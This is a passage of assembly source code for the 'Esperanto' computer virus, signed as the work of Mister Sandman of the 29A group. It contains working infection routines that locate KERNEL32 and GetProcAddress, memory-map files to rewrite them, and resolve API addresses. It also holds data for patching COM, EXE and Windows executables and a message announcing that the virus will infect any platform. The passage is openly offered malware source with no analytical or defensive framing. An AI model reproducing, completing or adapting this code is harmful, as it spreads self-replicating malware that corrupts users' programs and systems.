mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
pop edi
add edi,ebx
rep movsb
no_good: jmp unmap_n_close
; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;
; Note: the following subroutines are used by the Win32 module in order to
; perform many repeated actions, such as mapping or unmapping a file, fin-
; ding RVAs or the base address of a given module or API, and so on.
; ÄÄ´ Undocumented way to find the address of K32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ EBX => base address of host
; þ Necessity to find KERNEL32.DLL
;
; Exit:
; þ EAX => base address of KERNEL32.DLL
; þ EBX => base address of host
; Try to get the base address of KERNEL32
; by means of ID_ForwarderChain. This is
; an undocumented feature which only works
; in Windows95. First load the RVA in ESI
; and then add the base address to it
get_kernel32: db 0beh
kernel32_rva dd ?
add esi,ebx
lodsd
; Now check for the MZ signature
cmp word ptr [eax],'ZM'
jne k32_not_found
; And finally, for the PE one. If it was
; found, then the undocumented feature has
; worked. Otherwise the control will be
; passed to our host, as we can't execute
mov esi,dword ptr [eax+MZ_lfanew]
cmp dword ptr [esi+eax],'EP'
je kernel_found
k32_not_found: popad
ret
; ÄÄ´ Undocumented way to find the address of GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ EBX => base address of host
; þ kernel32_a => base address of KERNEL32.DLL
; þ Necessity to find GetProcAddress
;
; Exit:
; þ EAX => address of GetProcAddress
; þ EBX => base address of host
; This undocumented way to get the address
; of the API GetProcAddress is based on
; looking for its name and later for its
; ordinal thru the array of APIs exported
; by the module KERNEL32.DLL. Thus, the
; first step consists on seeking to the
; base address of this library and making
; sure this is the right address
get_gpaddress: cld
push ebx
mov ebx,dword ptr [ebp+kernel32_a]
cmp word ptr [ebx],'ZM'
jne gpa_aborted
; Once we know it has a MZ header, let's
; check for the PE mark, pointed by [3ch]
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
add esi,ebx
lodsd
cmp eax,'EP'
jne gpa_aborted
; Everything ok, now let's get a pointer
; to the image export directory and push
; it onto the stack for later use
add esi,NT_OptionalHeader\
.OH_DirectoryEntries\
.DE_Export\
.DD_VirtualAddress-4
lodsd
add eax,ebx
push eax
; Get also a pointer to the table of the
; names of exported functions and to their
; corresponding ordinals or addresses
mov ecx,dword ptr [eax+ED_NumberOfNames]
mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
add edx,ebx
lea esi,dword ptr [eax+ED_AddressOfNames]
lodsd
add eax,ebx
; Now look for "GetProcAddress" thru the
; array of names of exported API functions
search_name: push ecx
lea esi,dword ptr [ebp+gpaddress_n]
mov edi,dword ptr [eax]
or edi,edi
jz next_name
; Compare the strings
mov ecx,0eh
add edi,ebx
repe cmpsb
je name_found
; Not found, go to next name
next_name: add eax,4
add edx,2
pop ecx
loop search_name
; In case it was not found, jump to the
; error routine and stop the functioning
pop eax
jmp gpa_aborted
; The "GetProcAddress" string was found,
; and EDX is the index of the function,
; so now we have to look for the ordinal
; using the mentioned index in EDX, and
; check if it is out of range
name_found: pop ecx edi
movzx eax,word ptr [edx]
cmp eax,dword ptr [edi+ED_NumberOfFunctions]
jae gpa_aborted
; This is the starting ordinal number
sub eax,dword ptr [edi+ED_BaseOrdinal]
inc eax
shl eax,2
; Finally, get address of function and jump
; back to the main routine, in order to look
; for the addresses of other needed APIs
mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,eax
add esi,ebx
lodsd
add eax,ebx
pop ebx
jmp gpadd_found
; In case there was an error, stop running
; and jump to the original entry point
gpa_aborted: pop ebx
popad
ret
; ÄÄ´ Map a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ WFD_szFileName => file to memory-map
;
; Exit:
; þ EBX => handle of memory-mapped file
; Open existing file
open_map_file: push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0
push GENERIC_READ or GENERIC_WRITE
lea eax,dword ptr [ebp+finddata+WFD_szFileName]
push eax
lea eax,dword ptr [ebp+createfile_a]
call dword ptr [eax]
or eax,eax
jz exit_mapping
; Create file-mapping for it
mov dword ptr [ebp+crfhandle],eax
push 0
push dword ptr [ebp+finddata+WFD_nFileSizeLow]
push 0
push PAGE_READWRITE
push 0
push dword ptr [ebp+crfhandle]
lea eax,dword ptr [ebp+cfmapping_a]
call dword ptr [eax]
or eax,eax
jz close_handle
; Map file in memory, get base address
mov dword ptr [ebp+maphandle],eax
push dword ptr [ebp+finddata+WFD_nFileSizeLow]
push 0
push 0
push FILE_MAP_WRITE
push dword ptr [ebp+maphandle]
lea eax,dword ptr [ebp+mapview_a]
call dword ptr [eax]
xchg ebx,eax
or ebx,ebx
jz close_mapping
ret
; ÄÄ´ Unmap a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ EBX => handle of memory-mapped file
;
; Exit:
; þ EBX => null, file unmapped
; Unmap view of file
unmap_close: xchg ebx,eax
push eax
lea eax,dword ptr [ebp+unmapview_a]
call dword ptr [eax]
; Close handle created by CreateFileMappingA
close_mapping: push dword ptr [ebp+maphandle]
lea eax,dword ptr [ebp+closehandle_a]
call dword ptr [eax]
; Close handle created by CreateFileA
close_handle: push dword ptr [ebp+crfhandle]
lea eax,dword ptr [ebp+closehandle_a]
call dword ptr [eax]
; And leave with EBX = 0
exit_mapping: xor ebx,ebx
ret
; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ EDX => Section ëelta-offset
; þ ESI => Import address table for KERNEL32.DLL
; þ EDI => Given API name to look for
;
; Exit:
; EAX => RVA of the given API, or 0 if error
; Look for a given API (in EDI) whose RVA we
; are looking for by means of the structure
; IMAGE_IMPORT_BY_NAME, pointed by every dword
; in the thunk data array. First step consists
; on looking for its address (in ESI)
look4name: lodsd
or eax,eax
jz inp_not_found
; Once found, we get a pointer to the first
; function name of this structure, and compare
; it with the name of the API we look for
push esi edi
sub eax,edx
lea esi,dword ptr [eax+ebx+2]
name_by_name: lodsb
or al,al
jz input_found
scasb
je name_by_name
pop edi esi
jmp look4name
; In case names match, we go and get the
; RVA of the function we've just found in
; the IAT. Otherwise we keep on searching
input_found: pop edi esi
lea eax,dword ptr [esi-4]
sub eax,ebx
add eax,edx
ret
; If we couldn't find the RVA of the API,
; then we return with EAX equal to zero
inp_not_found: xor eax,eax
ret
; Í͹ Data area for the Intel modules ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
text_start label byte
virus_author db '[Esperanto, by Mister Sandman/29A]',0
virus_text
db 'Never mind your culture / Ne gravas via kulturo,',0dh,0ah
db 'Esperanto will go beyond it / Esperanto preterpasos gxin;',0dh,0ah
db 'never mind the differences / ne gravas la diferencoj,',0dh,0ah
db 'Esperanto will overcome them / Esperanto superos ilin.',0dh,0ah
db 0dh,0ah
db 'Never mind your processor / Ne gravas via procesoro,',0dh,0ah
db 'Esperanto will work in it / Esperanto funkcios sub gxi;',0dh,0ah
db 'never mind your platform / Ne gravas via platformo,',0dh,0ah
db 'Esperanto will infect it / Esperanto infektos gxin.',0dh,0ah
db 0dh,0ah
db 'Now not only a human language, but also a virus...',0dh,0ah
db 'Turning impossible into possible, Esperanto.',0dh,0ah,0
text_end label byte
api_names label byte
dd offset createfile_n
dd offset cfmapping_n
dd offset mapview_n
dd offset unmapview_n
dd offset closehandle_n
dd offset findfirst_n
dd offset findnext_n
dd offset findclose_n
dd offset loadlibrary_n
dd offset glocaltime_n
api_names_end label byte
kernel32_n db 'KERNEL32.DLL',0
user32_n db 'USER32.DLL',0
gmhandle_n db 'GetModuleHandleA',0
gpaddress_n db 'GetProcAddress',0
messagebox_n db 'MessageBoxA',0
createfile_n db 'CreateFileA',0
cfmapping_n db 'CreateFileMappingA',0
mapview_n db 'MapViewOfFile',0
unmapview_n db 'UnmapViewOfFile',0
closehandle_n db 'CloseHandle',0
findfirst_n db 'FindFirstFileA',0
findnext_n db 'FindNextFileA',0
findclose_n db 'FindClose',0
loadlibrary_n db 'LoadLibraryA',0
glocaltime_n db 'GetLocalTime',0
reloc_start label byte
dw 1
db 3
db 4
dw offset newexe_ip
old_ne_cs dw ?
old_ne_ip dw ?
reloc_end label byte
file_flag db 'C'
inf_timer db ?
inf_counter db ?
exe_cs dw 0fff0h
exe_ip dw ?
exe_ss dw ?
exe_sp dw ?
new_com_header db 0e9h,?,?,';',')'
old_com_header db 0cdh,20h,90h,90h,90h
wildcard db '*.*',0
com_wildcard db '*.COM',0
exe_wildcard db '*.EXE',0
res_name_size dc.b #$4
resource_name dc.l #'MDEF'
rels_in_file dc.w #$0
resource_size dc.w #$espo_file_size
dist_to_res dc.w #$espo_file_size
espo_file_end label byte
include win32api.inc
include pe.inc
include mz.inc
kernel32_a dd ?
user32_a dd ?
gmhandle_a dd ?
gpaddress_a dd ?
api_addresses label byte
createfile_a dd ?
cfmapping_a dd ?
mapview_a dd ?
unmapview_a dd ?
closehandle_a dd ?
findfirst_a dd ?
findnext_a dd ?
findclose_a dd ?
loadlibrary_a dd ?
glocaltime_a dd ?
api_addr_end label byte
time_table label byte
system_year dw ?
system_month dw ?
system_week dw ?
system_day dw ?
system_hour dw ?
system_minute dw ?
system_second dw ?
system_milsec dw ?
time_table_end label byte
crfhandle dd ?
maphandle dd ?
srchandle dd ?
max_path_size db ?
finddata db SIZEOF_WIN32_FIND_DATA dup (?)
winexe_data label byte
winexe_offset dw ?
align_shift db ?
newexe_size dw ?
last_newexe dw ?
lseek_newexe dw ?
lseek_add dw ?
stupid_face db '' ; Ain't it charming? :)
file_or_mem db 'F'
file_offset dw ?
dot_xy dw ?
rawdata_ptr dd ?
thunk_offset dd ?
filename db 4ch dup (?)
old_exe_header db 1000h dup (?)
espo_mem_end label byte
end